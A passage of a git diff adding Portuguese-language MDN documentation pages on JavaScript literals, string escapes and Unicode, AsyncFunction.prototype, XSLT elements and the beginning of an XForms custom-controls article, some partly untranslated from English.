não pode declarar uma constante com o mesmo nome de uma função ou variável no mesmo escopo. Por exemplo:</p> + +<pre class="eval deki-transform">// ISTO CAUSARA UM ERRO +function f() {}; +const f = 5; + +// ISTO TAMBEM CAUSARA UM ERRO +function f() { + const g = 5; + var g; + + // declaracoes +} +</pre> + +<h2 id="Literais">Literais</h2> + +<p>Você usa literais para representar valores em JavaScript. Estes valores são fixos, não variáveis, que você fornece <em>literalmente</em> no seu script. Esta seção descreve os seguintes tipos de literais:</p> + +<ul> + <li><a href="#Ordenação de literais">Ordenação de literais</a></li> + <li><a href="#Booleanos literais">Booleanos literais</a></li> + <li><a href="#Pontos flutuantes literais">Pontos flutuantes literais</a></li> + <li><a href="#Inteiros">Inteiros</a></li> + <li><a href="#Objetos literais">Objetos literais</a></li> + <li><a href="#Strings literais">Strings literais</a></li> +</ul> + +<h3 id="Ordenação_de_literais"><a id="Ordenação de literais" name="Ordenação de literais">Ordenação de literais</a></h3> + +<p>Um literal ordenado é uma lista de zero ou mais expressões, cada qual representando um elemento ordenado, armazenado em colchetes ([]). Quando você cria uma ordenação usando um literal ordenado, ele é inicializado com os valores especificados como seus elementos e seu comprimento configurado para o número de argumentos especificados.</p> + +<p>O exemplo a seguir cria uma ordenação <code>coffees</code> com três elementos e o comprimento de três:</p> + +<pre class="eval deki-transform">var coffees = ["French Roast", "Colombian", "Kona"]; +</pre> + +<p><strong>Nota</strong> Uma ordenação literal é um tipo de inicializador de objeto. Veja<a href="/en/JavaScript/Guide/Working_with_Objects#Using_Object_Initializers" title="en/JavaScript/Guide/Working with Objects#Using Object Initializers"> Using Object Initializers</a> (en).</p> + +<p>Se uma ordenação é criada usando um literal em um alto nível de script, o JavaScript interpreta a ordenação cada vez que uma expressão contendo a ordenação literal é avaliada. Adicionalmente, um literal usado em uma função é criado cada vez que a função é chamada.</p> + +<p>Ordenações literais são também objetos <code>Array</code>. Veja <a href="/en/JavaScript/Guide/Predefined_Core_Objects#Array_Object" title="en/JavaScript/Guide/Predefined Core Objects#Array Object">Array Object</a> (en) para detalhes sobre objetos <code>Array</code>.</p> + +<h4 id="Vírgulas_extras_em_literais_ordenados">Vírgulas extras em literais ordenados</h4> + +<p>Não é necessário especificar todos os elementos de um literal ordenado. Se forem colocadas duas vírgulas em uma coluna, a ordenação é criada com espaços para elementos não especificados. O exemplo seguinte mostra a ordenação <code>fish</code>:</p> + +<pre class="eval deki-transform">var fish = ["Lion", , "Angel"]; +</pre> + +<p>Esta ordenação possui dois elementos com valores e um elemento vazio (<code>fish[0]</code> é "Lion", <code>fish[1]</code> é <code>undefined</code> e <code>fish[2]</code> é "Angel").</p> + +<p>Caso seja inserida uma última vírgula ao fim da lista de elementos, a vírgula é ignorada. No exemplo a seguir, o comprimento da ordenação é três. Não há <code>myList[3]</code>. Todas as outras vírgulas da lista indicam um novo elemento.</p> + +<pre class="eval deki-transform">var myList = ['home', , 'school', ]; +</pre> + +<p>No exemplo a seguir, o comprimento da ordenação é quatro, e <code>myList[0]</code> e <code>myList[2]</code> estão faltando.</p> + +<pre class="eval deki-transform">var myList = [ , 'home', , 'school']; +</pre> + +<p>No exemplo seguinte, o comprimento da ordenação é quatro, e <code>myList[1]</code> e <code>myList[3]</code> estão faltando. Somente a última vírgula é ignorada.</p> + +<pre class="eval deki-transform">var myList = ['home', , 'school', , ]; +</pre> + +<h3 id="Booleanos_literais"><a id="Booleanos literais" name="Booleanos literais">Booleanos literais</a></h3> + +<p>O tipo Booleano possui dois valores literais: <code>true</code> e <code>false</code>.</p> + +<p>Não confunda-os com os valores Booleanos primitivos <code>true</code> e <code>false</code> com os valores verdadeiro e falso do objeto Booleano. O objeto Booleano é um invólucro ao redor do tipo de dado Booleano. Veja <a href="/en/JavaScript/Guide/Predefined_Core_Objects#Boolean_Object" title="en/JavaScript/Guide/Predefined Core Objects#Boolean Object">Boolean Object</a> (en) para mais informações.</p> + +<h3 id="Inteiros_2"><a id="Inteiros" name="Inteiros">Inteiros</a></h3> + +<p>Inteiros podem ser expressos na base decimal (base 10), hexadecimal (base 16) e octal (base 8). Um inteiro decimal literal consiste em uma sequência de dígitos sem um 0 (zero) no início. Um 0 (zero) no início de um inteiro literal indica que se trata de um octal; um 0x (ou 0X) indica hexadecimal. Inteiros hexadecimais podem incluir dígitos (0-9) e as letras de a-f e A-F. Inteiros octais podem incluir somente dígitos 0-7.</p> + +<p>Inteiros octais literais são obsoletos e foram removidos do padrão ECMA-262, Edição 3. O JavaScript 1.5 ainda os suporta para compatibilidade com versões anteriores.</p> + +<p>Alguns exemplo de inteiros literais são:</p> + +<pre class="eval">0, 117 e -345 (decimal, base 10) +015, 0001 e -077 (octal, base 8) +0x1123, 0x00111 e -0xF1A7 (hexadecimal, "hex" ou base 16) +</pre> + +<h3 id="Pontos_flutuantes_literais"><a id="Pontos flutuantes literais" name="Pontos flutuantes literais">Pontos flutuantes literais</a></h3> + +<p>Um literal de ponto flutuante pode possuir as seguintes partes:</p> + +<ul> + <li>Um inteiro decimal, o qual pode ser assinado (precedido por "+" ou "-"),</li> + <li>Um ponto decimal ("."),</li> + <li>Uma fração (outro número decimal),</li> + <li>Um expoente.</li> +</ul> + +<p>A parte do expoente é um "e" ou "E" seguido por um inteiro, o qual pode ser assinado (precedido por "+" ou "-"). Um literal de ponto flutuante deve ter ao menos um dígito e um ponto decimal ou "e" (ou "E").</p> + +<p>Alguns exemplos de pontos flutuantes literais são 3.1415, -3.1E12, .1e12, and 2E-12.</p> + +<p>Mais claramente, a sintaxe é:</p> + +<pre class="eval">[digitos][.digitos][(E|e)[(+|-)]digitos] +</pre> + +<p>Por exemplo:</p> + +<pre class="eval">3.14 +2345.789 +.3333333333333333333 +</pre> + +<h3 id="Objetos_literais"><a id="Objetos literais" name="Objetos literais">Objetos literais</a></h3> + +<p>An object literal is a list of zero or more pairs of property names and associated values of an object, enclosed in curly braces ({}). You should not use an object literal at the beginning of a statement. This will lead to an error or not behave as you expect, because the { will be interpreted as the beginning of a block.</p> + +<p>The following is an example of an object literal. The first element of the <code>car</code> object defines a property, <code>myCar</code>; the second element, the <code>getCar</code> property, invokes a function <code>(CarTypes("Honda"));</code> the third element, the <code>special</code> property, uses an existing variable (<code>Sales</code>).</p> + +<pre class="eval deki-transform">var Sales = "Toyota"; + +function CarTypes(name) { + if (name == "Honda") + return name; + else + return "Sorry, we don't sell " + name + "."; +} + +var car = { myCar: "Saturn", getCar: CarTypes("Honda"), special: Sales }; + +document.write(car.myCar); // Saturn +document.write(car.getCar); // Honda +document.write(car.special); // Toyota +</pre> + +<p>Additionally, you can use a numeric or string literal for the name of a property or nest an object inside another. The following example uses these options.</p> + +<pre class="eval deki-transform">var car = { manyCars: {a: "Saab", "b": "Jeep"}, 7: "Mazda" }; + +document.write(car.manyCars.b); // Jeep +document.write(car[7]); // Mazda +</pre> + +<p>Please note:</p> + +<pre class="eval deki-transform">var foo = {a: "alpha", 2: "two"}; +document.write(foo.a); // alpha +document.write(foo[2]); // two +//document.write(foo.2); // Error: missing ) after argument list +//document.write(foo[a]); // Error: a is not defined +document.write(foo["a"]); // alpha +document.write(foo["2"]); // two +</pre> + +<h3 id="Strings_literais"><a id="Strings literais" name="Strings literais">Strings literais</a></h3> + +<p>A string literal is zero or more characters enclosed in double (<code>"</code>) or single (<code>'</code>) quotation marks. A string must be delimited by quotation marks of the same type; that is, either both single quotation marks or both double quotation marks. The following are examples of string literals:</p> + +<ul> + <li><code>"foo"</code></li> + <li><code>'bar'</code></li> + <li><code>"1234"</code></li> + <li><code>"one line \n another line"</code></li> + <li><code>"John's cat"</code></li> +</ul> + +<p>You can call any of the methods of the String object on a string literal value—JavaScript automatically converts the string literal to a temporary String object, calls the method, then discards the temporary String object. You can also use the <code>String.length</code> property with a string literal:</p> + +<pre class="deki-transform">"John's cat".length +</pre> + +<p>You should use string literals unless you specifically need to use a String object. See <a href="/en/JavaScript/Guide/Predefined_Core_Objects#String_Object" title="en/JavaScript/Guide/Predefined Core Objects#String Object">String Object</a> for details on <code>String</code> objects.</p> + +<h4 id="Usando_caracteres_especiais_em_strings">Usando caracteres especiais em strings</h4> + +<p>In addition to ordinary characters, you can also include special characters in strings, as shown in the following example.</p> + +<pre class="eval deki-transform">"one line \n another line" +</pre> + +<p>The following table lists the special characters that you can use in JavaScript strings.</p> + +<table class="standard-table"> + <caption>Table 2.1 JavaScript special characters</caption> + <thead> + <tr> + <th scope="col">Character</th> + <th scope="col">Meaning</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>\b</code></td> + <td>Backspace</td> + </tr> + <tr> + <td><code>\f</code></td> + <td>Form feed</td> + </tr> + <tr> + <td><code>\n</code></td> + <td>New line</td> + </tr> + <tr> + <td><code>\r</code></td> + <td>Carriage return</td> + </tr> + <tr> + <td><code>\t</code></td> + <td>Tab</td> + </tr> + <tr> + <td><code>\v</code></td> + <td>Vertical tab</td> + </tr> + <tr> + <td><code>\'</code></td> + <td>Apostrophe or single quote</td> + </tr> + <tr> + <td><code>\"</code></td> + <td>Double quote</td> + </tr> + <tr> + <td><code>\\</code></td> + <td>Backslash character (\).</td> + </tr> + <tr> + <td><code>\<em>XXX</em></code></td> + <td>The character with the Latin-1 encoding specified by up to three octal digits <em>XXX</em> between 0 and 377. For example, \251 is the octal sequence for the copyright symbol.</td> + </tr> + <tr> + <td><code>\x<em>XX</em></code></td> + <td>The character with the Latin-1 encoding specified by the two hexadecimal digits <em>XX</em> between 00 and FF. For example, \xA9 is the hexadecimal sequence for the copyright symbol.</td> + </tr> + <tr> + <td><code>\u<em>XXXX</em></code></td> + <td>The Unicode character specified by the four hexadecimal digits <em>XXXX</em>. For example, \u00A9 is the Unicode sequence for the copyright symbol. See <a href="#Sequências de escape em Unicode">Unicode Escape Sequences</a>.</td> + </tr> + </tbody> +</table> + +<h4 id="Caracteres_de_escape">Caracteres de escape</h4> + +<p>For characters not listed in Table 2.1, a preceding backslash is ignored, but this usage is deprecated and should be avoided.</p> + +<p>You can insert a quotation mark inside a string by preceding it with a backslash. This is known as <em>escaping</em> the quotation mark. For example:</p> + +<pre class="eval deki-transform">var quote = "He read \"The Cremation of Sam McGee\" by R.W. Service."; +document.write(quote); +</pre> + +<p>The result of this would be:</p> + +<pre class="eval">He read "The Cremation of Sam McGee" by R.W. Service. +</pre> + +<p>To include a literal backslash inside a string, you must escape the backslash character. For example, to assign the file path <code>c:\temp</code> to a string, use the following:</p> + +<pre class="eval deki-transform">var home = "c:\\temp"; +</pre> + +<p>You can also escape line breaks by preceding them with backslash. The backslash and line break are both removed from the value of the string.</p> + +<pre>var str = "this string \ +is broken \ +across multiple\ +lines."</pre> + +<p>Although JavaScript does not have "heredoc" syntax, you can get close by adding a linebreak escape and an escaped linebreak at the end of each line:</p> + +<pre>var poem = +"Roses are red,\n\ +Violets are blue.\n\ +I'm schizophrenic,\n\ +And so am I." +</pre> + +<h2 id="Unicode">Unicode</h2> + +<p>Unicode is a universal character-coding standard for the interchange and display of principal written languages. It covers the languages of the Americas, Europe, Middle East, Africa, India, Asia, and Pacifica, as well as historic scripts and technical symbols. Unicode allows for the exchange, processing, and display of multilingual texts, as well as the use of common technical and mathematical symbols. It hopes to resolve internationalization problems of multilingual computing, such as different national character standards. Not all modern or archaic scripts, however, are currently supported.</p> + +<p>The Unicode character set can be used for all known encoding. Unicode is modeled after the ASCII (American Standard Code for Information Interchange) character set. It uses a numerical value and name for each character. The character encoding specifies the identity of the character and its numeric value (code position), as well as the representation of this value in bits. The 16-bit numeric value (code value) is defined by a hexadecimal number and a prefix U, for example, U+0041 represents A. The unique name for this value is LATIN CAPITAL LETTER A.</p> + +<p><strong>Unicode is not supported in versions of JavaScript prior to 1.3.</strong></p> + +<h3 id="Compatibilidade_do_Unicode_com_ASCII_e_ISO">Compatibilidade do Unicode com ASCII e ISO</h3> + +<p>Unicode is fully compatible with the International Standard ISO/IEC 10646-1; 1993, which is a subset of ISO 10646.</p> + +<p>Several encoding standards (including UTF-8, UTF-16 and ISO UCS-2) are used to physically represent Unicode as actual bits.</p> + +<p>The UTF-8 encoding of Unicode is compatible with ASCII characters and is supported by many programs. The first 128 Unicode characters correspond to the ASCII characters and have the same byte value. The Unicode characters U+0020 through U+007E are equivalent to the ASCII characters 0x20 through 0x7E. Unlike ASCII, which supports the Latin alphabet and uses a 7-bit character set, UTF-8 uses between one and four octets for each character ("octet" meaning a byte, or 8 bits.) This allows for several million characters. An alternative encoding standard, UTF-16, uses two octets to represent Unicode characters. An escape sequence allows UTF-16 to represent the whole Unicode range by using four octets. The ISO UCS-2 (Universal Character Set) uses two octets.</p> + +<p>JavaScript and Navigator support for UTF-8/Unicode means you can use non-Latin, international, and localized characters, plus special technical symbols in JavaScript programs. Unicode provides a standard way to encode multilingual text. Since the UTF-8 encoding of Unicode is compatible with ASCII, programs can use ASCII characters. You can use non-ASCII Unicode characters in the comments, string literals, identifiers, and regular expressions of JavaScript.</p> + +<h3 id="Sequências_de_escape_em_Unicode"><a id="Sequências de escape em Unicode" name="Sequências de escape em Unicode">Sequências de escape em Unicode</a></h3> + +<p>You can use the Unicode escape sequence in string literals, regular expressions, and identifiers. The escape sequence consists of six ASCII characters: \u and a four-digit hexadecimal number. For example, \u00A9 represents the copyright symbol. Every Unicode escape sequence in JavaScript is interpreted as one character.</p> + +<p>The following code returns the copyright symbol and the string "Netscape Communications".</p> + +<pre class="deki-transform">var x = "\u00A9 Netscape Communications";</pre> + +<p>The following table lists frequently used special characters and their Unicode value.</p> + +<table class="standard-table"> + <caption>Table 2.2 Unicode values for special characters</caption> + <thead> + <tr> + <th scope="col">Category</th> + <th scope="col">Unicode value</th> + <th scope="col">Name</th> + <th scope="col">Format name</th> + </tr> + </thead> + <tbody> + <tr> + <td rowspan="4">White space values<br> + <br> + <br> + </td> + <td>\u0009</td> + <td>Tab</td> + <td><TAB></td> + </tr> + <tr> + <td>\u000B</td> + <td>Vertical Tab</td> + <td><VT></td> + </tr> + <tr> + <td>\u000C</td> + <td>Form Feed</td> + <td><FF></td> + </tr> + <tr> + <td>\u0020</td> + <td>Space</td> + <td><SP></td> + </tr> + <tr> + <td rowspan="2">Line terminator values<br> + </td> + <td>\u000A</td> + <td>Line Feed</td> + <td><LF></td> + </tr> + <tr> + <td>\u000D</td> + <td>Carriage Return</td> + <td><CR></td> + </tr> + <tr> + <td rowspan="5">Additional Unicode escape sequence values<br> + <br> + <br> + <br> + </td> + <td>\u0008</td> + <td>Backspace</td> + <td><BS></td> + </tr> + <tr> + <td>\u0009</td> + <td>Horizontal Tab</td> + <td><HT></td> + </tr> + <tr> + <td>\u0022</td> + <td>Double Quote</td> + <td>"</td> + </tr> + <tr> + <td>\u0027</td> + <td>Single Quote</td> + <td>'</td> + </tr> + <tr> + <td>\u005C</td> + <td>Backslash</td> + <td>\</td> + </tr> + </tbody> +</table> + +<p>The JavaScript use of the Unicode escape sequence is different from Java. In JavaScript, the escape sequence is never interpreted as a special character first. For example, a line terminator escape sequence inside a string does not terminate the string before it is interpreted by the function. JavaScript ignores any escape sequence if it is used in comments. In Java, if an escape sequence is used in a single comment line, it is interpreted as an Unicode character. For a string literal, the Java compiler interprets the escape sequences first. For example, if a line terminator escape character (e.g., \u000A) is used in Java, it terminates the string literal. In Java, this leads to an error, because line terminators are not allowed in string literals. You must use \n for a line feed in a string literal. In JavaScript, the escape sequence works the same way as \n.</p> + +<h3 id="Caracteres_Unicode_em_arquivos_JavaScript">Caracteres Unicode em arquivos JavaScript</h3> + +<p>Earlier versions of <a href="/en/Gecko" title="en/Gecko">Gecko</a> assumed the Latin-1 character encoding for JavaScript files loaded from XUL. Starting with Gecko 1.8, the character encoding is inferred from the XUL file's encoding. Please see <a href="/en/International_characters_in_XUL_JavaScript" title="en/International_characters_in_XUL_JavaScript">International characters in XUL JavaScript</a> for more information.</p> + +<h3 id="Exibindo_caracteres_com_Unicode">Exibindo caracteres com Unicode</h3> + +<p>You can use Unicode to display the characters in different languages or technical symbols. For characters to be displayed properly, a client such as Mozilla Firefox or Netscape needs to support Unicode. Moreover, an appropriate Unicode font must be available to the client, and the client platform must support Unicode. Often, Unicode fonts do not display all the Unicode characters. Some platforms, such as Windows 95, provide partial support for Unicode.</p> + +<p>To receive non-ASCII character input, the client needs to send the input as Unicode. Using a standard enhanced keyboard, the client cannot easily input the additional characters supported by Unicode. Sometimes, the only way to input Unicode characters is by using Unicode escape sequences.</p> + +<p>For more information on Unicode, see the <a class="external" href="http://www.unicode.org/">Unicode Home Page</a> and The Unicode Standard, Version 2.0, published by Addison-Wesley, 1996.</p> + +<pre class="script" style="font-size: 16px;">autoPreviousNext("JSGChapters");</pre> diff --git a/files/pt-pt/orphaned/web/javascript/o_que_é_o_javascript/index.html b/files/pt-pt/orphaned/web/javascript/o_que_é_o_javascript/index.html new file mode 100644 index 0000000000..4145f9dc58 --- /dev/null +++ b/files/pt-pt/orphaned/web/javascript/o_que_é_o_javascript/index.html @@ -0,0 +1,13 @@ +--- +title: O que é o JavaScript +slug: Web/JavaScript/O_que_é_o_JavaScript +--- +<p>O JavaScript é uma linguagem de programação do lado <b>cliente</b>, ou seja, é processada pelo próprio navegador. +Com o JavaScript podemos criar efeitos especiais para nossas páginas na Web, além +de podermos proporcionar uma maior interatividade com nossos usuários. +O JavaScript é uma linguagem orientada a objetos, ou seja, ela trata todos os elementos da página +como objetos distintos, fascilitando a tarefa da programação. +</p><p>Resumindo, o JavaScript é uma poderosa linguagem que deve ser dominada por quem deseja criar páginas Web dinamicas e interativas. +</p><p><br> +--<a>rafael.marcondes92@gmail.com</a> 12:39, 14 Julho 2008 (PDT) +</p> diff --git a/files/pt-pt/orphaned/web/javascript/reference/global_objects/asyncfunction/prototype/index.html b/files/pt-pt/orphaned/web/javascript/reference/global_objects/asyncfunction/prototype/index.html new file mode 100644 index 0000000000..8a085d6986 --- /dev/null +++ b/files/pt-pt/orphaned/web/javascript/reference/global_objects/asyncfunction/prototype/index.html @@ -0,0 +1,55 @@ +--- +title: AsyncFunction.prototype +slug: Web/JavaScript/Reference/Global_Objects/AsyncFunction/prototype +translation_of: Web/JavaScript/Reference/Global_Objects/AsyncFunction/prototype +--- +<div>{{JSRef}}</div> + +<p>A propriedade <code><strong>AsyncFunction.prototype</strong></code> representa o objecto <em>prototype</em> {{jsxref("AsyncFunction")}}.</p> + +<h2 id="Description">Description</h2> + +<p>Os objectos {{jsxref("AsyncFunction")}} são herdados de <code>AsyncFunction.prototype</code> e não podem ser modificados.</p> + +<h2 id="Propriedades">Propriedades</h2> + +<dl> + <dt><code><strong>AsyncFunction.constructor</strong></code></dt> + <dd>O valor inicial é {{jsxref("AsyncFunction")}}.</dd> + <dt><code><strong>AsyncFunction.prototype[@@toStringTag]</strong></code></dt> + <dd>Retorna "AsyncFunction".</dd> +</dl> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('ESDraft', '#sec-async-function-constructor-prototype', 'AsyncFunction.prototype')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td>Definição inicial ES2017.</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_entre_navegadores">Compatibilidade entre navegadores</h2> + +<div> + + +<p>{{Compat("javascript.builtins.AsyncFunction.prototype")}}</p> +</div> + +<h2 id="Ver_também">Ver também</h2> + +<ul> + <li>{{jsxref("AsyncFunction")}}</li> + <li>{{jsxref("Function")}}</li> +</ul> diff --git a/files/pt-pt/orphaned/web/xslt/comunidade/index.html b/files/pt-pt/orphaned/web/xslt/comunidade/index.html new file mode 100644 index 0000000000..04308fdeaa --- /dev/null +++ b/files/pt-pt/orphaned/web/xslt/comunidade/index.html @@ -0,0 +1,8 @@ +--- +title: Comunidade +slug: Web/XSLT/Comunidade +--- +<p>Grupo XSLT Portugal +</p><p>Onde XSLT é discutido em português para os portugueses. Este grupo dispõe de soluções práticas para problemas comums em XSLT e XPath, assim como, auxiliar principiantes ou menos experientes a resolverem problemas. </p><p>Embora o grupo seja dedicado especialmente ao XSLT, não quer dizer que outras tecnologias directamente ligadas não possam ser discutidas, tais como: XML, XPath, XQuery, XML Schema, Schematron, HTML, RSS, CSS, AJAX, etc. </p><p>Claro que seria preferível discutir o uso de tecnologias em que predomine o XSLT. +</p><p><a href="http://groups.google.com/group/xslt-portugal" class=" external" rel="freelink">http://groups.google.com/group/xslt-portugal</a> +</p> diff --git a/files/pt-pt/orphaned/web/xslt/elementos/index.html b/files/pt-pt/orphaned/web/xslt/elementos/index.html new file mode 100644 index 0000000000..e47f8bed0b --- /dev/null +++ b/files/pt-pt/orphaned/web/xslt/elementos/index.html @@ -0,0 +1,59 @@ +--- +title: Elementos +slug: Web/XSLT/Elementos +tags: + - Referência_XSLT +--- +<p> +{{ XsltRef() }} +Existem dois tipos de elementos discutidos aqui: elementos de topo de nível e instruções. Um elemento de topo de nível deve aparecer como filho de qualquer <code><xsl:stylesheet></code> ou <code><xsl:transform></code>. Uma instrução, por outro lado, é associada com o modelo. Uma folha de estilo pode incluir vários modelos. Um terceiro tipo de elemento, não discutido aqui, é o elemento literal do resultado (LRE). Um LRE também aparece em um modelo. Ele consiste em qualquer elemento não-instrução que deva ser copiado como é para o resultado do documento, por exemplo, o elemento <code><hr></code> em uma folha de estilo de conversão HTML. +</p><p>Em uma nota relacionada, qualquer atributo em uma LRE e alguns atributos de um número limitado de elementos XSLT podem também ser incluídos como o valor de um atributo do modelo. Um valor de atributo do modelo é simplesmente uma string que inclui uma expressão XPath encaixada que é usada para especificar o valor de um atributo. Na hora de rodar a expressão é avaliada e o resulta da avaliação é substituido pela expressão XPath. Por exemplo, assumindo que a variável "<tt>image-dir</tt>" é definida pelo seguinte: +</p> +<pre><xsl:variable name="image-dir">/images</xsl:variable></pre> +<p>A expressão para ser avaliada é colocada no interior de chaves: +</p> +<pre><img src="{$image-dir}/mygraphic.jpg"/></pre> +<p>Isto resultaria no seguinte: +</p> +<pre><img src="/images/mygraphic.jpg"/></pre> +<p>As anotações do elemento que seguem incluem uma descrição, uma lista de sintaxe, uma lista de atributos requeridos e opcionais, uma descrição do tipo e posição, seu código na W3C Recommendation e uma explanação dos graus presentes do suporte Gecko. +</p> +<ul><li> <a href="pt/XSLT/apply-imports">xsl:apply-imports</a> +</li><li> <a href="pt/XSLT/apply-templates">xsl:apply-templates</a> +</li><li> <a href="pt/XSLT/attribute">xsl:attribute</a> +</li><li> <a href="pt/XSLT/attribute-set">xsl:attribute-set</a> +</li><li> <a href="pt/XSLT/call-template">xsl:call-template</a> +</li><li> <a href="pt/XSLT/choose">xsl:choose</a> +</li><li> <a href="pt/XSLT/comment">xsl:comment</a> +</li><li> <a href="pt/XSLT/copy">xsl:copy</a> +</li><li> <a href="pt/XSLT/copy-of">xsl:copy-of</a> +</li><li> <a href="pt/XSLT/decimal-format">xsl:decimal-format</a> +</li><li> <a href="pt/XSLT/element">xsl:element</a> +</li><li> <a href="pt/XSLT/fallback">xsl:fallback</a> <i>(não suportado)</i> +</li><li> <a href="pt/XSLT/for-each">xsl:for-each</a> +</li><li> <a href="pt/XSLT/if">xsl:if</a> +</li><li> <a href="pt/XSLT/import">xsl:import</a> <i>(suportado na maior parte)</i> +</li><li> <a href="pt/XSLT/include">xsl:include</a> +</li><li> <a href="pt/XSLT/key">xsl:key</a> +</li><li> <a href="pt/XSLT/message">xsl:message</a> +</li><li> <a href="pt/XSLT/namespace-alias">xsl:namespace-alias</a> <i>(não suportado)</i> +</li><li> <a href="pt/XSLT/number">xsl:number</a> <i>(parcialmente suportado)</i> +</li><li> <a href="pt/XSLT/otherwise">xsl:otherwise</a> +</li><li> <a href="pt/XSLT/output">xsl:output</a> <i>(parcialmente suportado)</i> +</li><li> <a href="pt/XSLT/param">xsl:param</a> +</li><li> <a href="pt/XSLT/preserve-space">xsl:preserve-space</a> +</li><li> <a href="pt/XSLT/processing-instruction">xsl:processing-instruction</a> +</li><li> <a href="pt/XSLT/sort">xsl:sort</a> +</li><li> <a href="pt/XSLT/strip-space">xsl:strip-space</a> +</li><li> <a href="pt/XSLT/stylesheet">xsl:stylesheet</a> <i>(parcialmente suportado)</i> +</li><li> <a href="pt/XSLT/template">xsl:template</a> +</li><li> <a href="pt/XSLT/text">xsl:text</a> <i>(parcialmente suportado)</i> +</li><li> <a href="pt/XSLT/transform">xsl:transform</a> +</li><li> <a href="pt/XSLT/value-of">xsl:value-of</a> <i>(parcialmente suportado)</i> +</li><li> <a href="pt/XSLT/variable">xsl:variable</a> +</li><li> <a href="pt/XSLT/when">xsl:when</a> +</li><li> <a href="pt/XSLT/with-param">xsl:with-param</a> +</li></ul> +<p><span class="comment">Categorias</span> +</p><p><span class="comment">Interwiki Language Links</span> +</p>{{ languages( { "en": "en/XSLT/Elements", "fr": "fr/XSLT/\u00c9l\u00e9ments", "ja": "ja/XSLT/Elements", "pl": "pl/XSLT/Elementy" } ) }} diff --git a/files/pt-pt/orphaned/xforms/controles_customizados/index.html b/files/pt-pt/orphaned/xforms/controles_customizados/index.html new file mode 100644 index 0000000000..ee4e0cf749 --- /dev/null +++ b/files/pt-pt/orphaned/xforms/controles_customizados/index.html @@ -0,0 +1,272 @@ +--- +title: XForms Custom Controls +slug: XForms/Controles_Customizados +tags: + - XForms +--- +<p> </p> +<h3 id="Proposta"> Proposta </h3> +<p>Se você quer criar suas próprias formas dos controles XForm como <code>input</code>, <code>output</code>, <code>trigger</code>, etc., você está no lugar certo. Vamos mostrar tambem como criar controles que funcionam com o modelo XForms e são automaticamente atualizados como os controles XForms. A proposta deste artigo é de fornecer informações suficientes para permitir-lhe um bom início. Para realmente entender as seguintes informações é necessário um bom entendimento de <a href="pt/XForms">XForms</a>, <a href="pt/XBL">XBL</a>, <a href="pt/JavaScript">JavaScript</a> e <a href="pt/CSS">CSS</a>. Conhecimentos em <a href="pt/XPCOM">XPCOM</a> certamente não farão mal. Mas mesmo que você tenha conhecimentos em sómente algumas destas tecnologias, esperamos que as possibilidades delineadas abaixo o inspirem a aprender mais onde fôr necessário. +</p> +<h3 id="Status_de_implementa.C3.A7.C3.A3o"> Status de implementação </h3> +<p>O sistema que usamos no processador Mozilla XForms é muito um "trabalho em andamento". Por favor mantenha em mente que tudo que mencionamos aqui pode mudar de algum maneira assim que continuamos a trabalhar no assunto. O trabalho já começou no <a class="external" href="http://www.w3.org/MarkUp/Forms/#wg">W3C XForms Working Group</a> a investigar o assunto de controles customizadas, assim eventualmente (esperamos?)que vai existir um caminho "oficial" e comum de customizar suas máscaras de interface de usuário em todos os processadores XForm. +</p> +<h3 id="Porque_.C3.A9_necess.C3.A1rio"> Porque é necessário </h3> +<p>Você provávelmente vai achar que suas necessidades de customização se encaixam numa das seguintes categorias: +</p> +<ul><li> apresentação customizada - controles XForms como as realizadas no processador Mozilla XForms não lhe fornecem a aparência certa. +</li><li> tipos de dados customizadas - controles Xforms existentes não estão aptos a trabalhar apropriamente seus tipos de dados +</li><li> controles XForms avançados - você necessita que seus controles estejam aptos a fazer mais coisas que os controles XForms tradicionais +</li><li> nova linguagem de hospedagem- você quer suportar XForms em linguagems de hospedagem diferentes de XHTML ou XUL +</li></ul> +<h4 id="Apresenta.C3.A7.C3.A3o_customizada"> Apresentação customizada </h4> +<p>A extensão Mozilla XForms não pode antecipar todas as possibilidades de uso que vão ser envolvidas em aplicações e páginas web quando XForms amadurece e a base de usuários cresce. E com estas novas formas de usar mais e mais flexibilidade vai ser exigida dos controles. Introduzindo controles customizadas ao seu ambiente pode ser a solução que está procurando. Por exemplo, você pode estar querendo render imagens que estão sendo mantidos dentro de um documento de instancia ou querer mostrar um <code>trigger</code> deshabilitado quando seu nó se torna irrelevante em vez de não mostrá-lo (o atual comportamento padrão). +</p><p>Toda apresentação de controle XForms possui seu próprio XBL binding. Em muitos casos valores diferentes fornecidos para os atributos <code>appearance</code> ou <code>mediatype</code> vão determinar qual XBL binding será usado para um controle XForms particular. Como mencionado na especificação, o atributo <code>appearance</code> pode ser usado para influenciar a aparência do controle mesmo que todas as outras condições permanecam constantes. Por exemplo, na extensão Mozilla XForms vamos render uma combobox widget ao <code>appearance='minimal'</code> num controle <code>select1</code>. Se o autor do formulário escolher um <code>appearance='compact'</code> neste controle, vamos desenhar uma listbox widget. Aqui é uma forma fragmentada do nosso arquivo .css para mostrar o tipo de regra CSS que usariamos para tal determinação. +</p> +<pre>xf|select1[appearance="compact"] { + -moz-binding: url('chrome://xforms/content/select-xhtml.xml#xformswidget-select1-compact'); +} +</pre> +<p>O atributo <code>mediatype</code> pode ser usado pelo autor do formulário para alinhar o tipo de apresentação com o tipo de data que o bound instance node contém. Por exemplo, se <code>mediatype='image/*'</code> então o usuário deve ver a imagen que os bytes representam em vez da sequência de bytes. +</p> +<pre>xf|output[mediatype^="image"] { + -moz-binding: url('chrome://xforms/content/xforms-xhtml.xml#xformswidget-output-mediatype-anyURI'); +} +</pre> +<h4 id="Tipos_de_dados_customizados"> Tipos de dados customizados </h4> +<p>Se definir um novo tipo de dado esquemático ou usar tipo de data built-in e achar os controles XForms atuais insuficientes, então deve escrever um novo controle customizado. Por exemplo se tiver um nó de instância do tipo <code>xsd:date</code> e quiser que os dados sejam visualizados num formato local. +</p><p>Em Mozilla, cada controle XForms ligado tem um atributo <code>typelist</code> de <code>mozType</code> que contém o espaço de nome da cadeia herdada dos tipo de dados que detectamos. O espaço de nome <code>mozType</code> é introduzido pela implementação de Mozilla XForms e suas URI é <code><a class=" external" href="http://www.mozilla.org/projects/xforms/2005/type">http://www.mozilla.org/projects/xforms/2005/type</a></code>. Por exemplo, se um controle é ligado a um 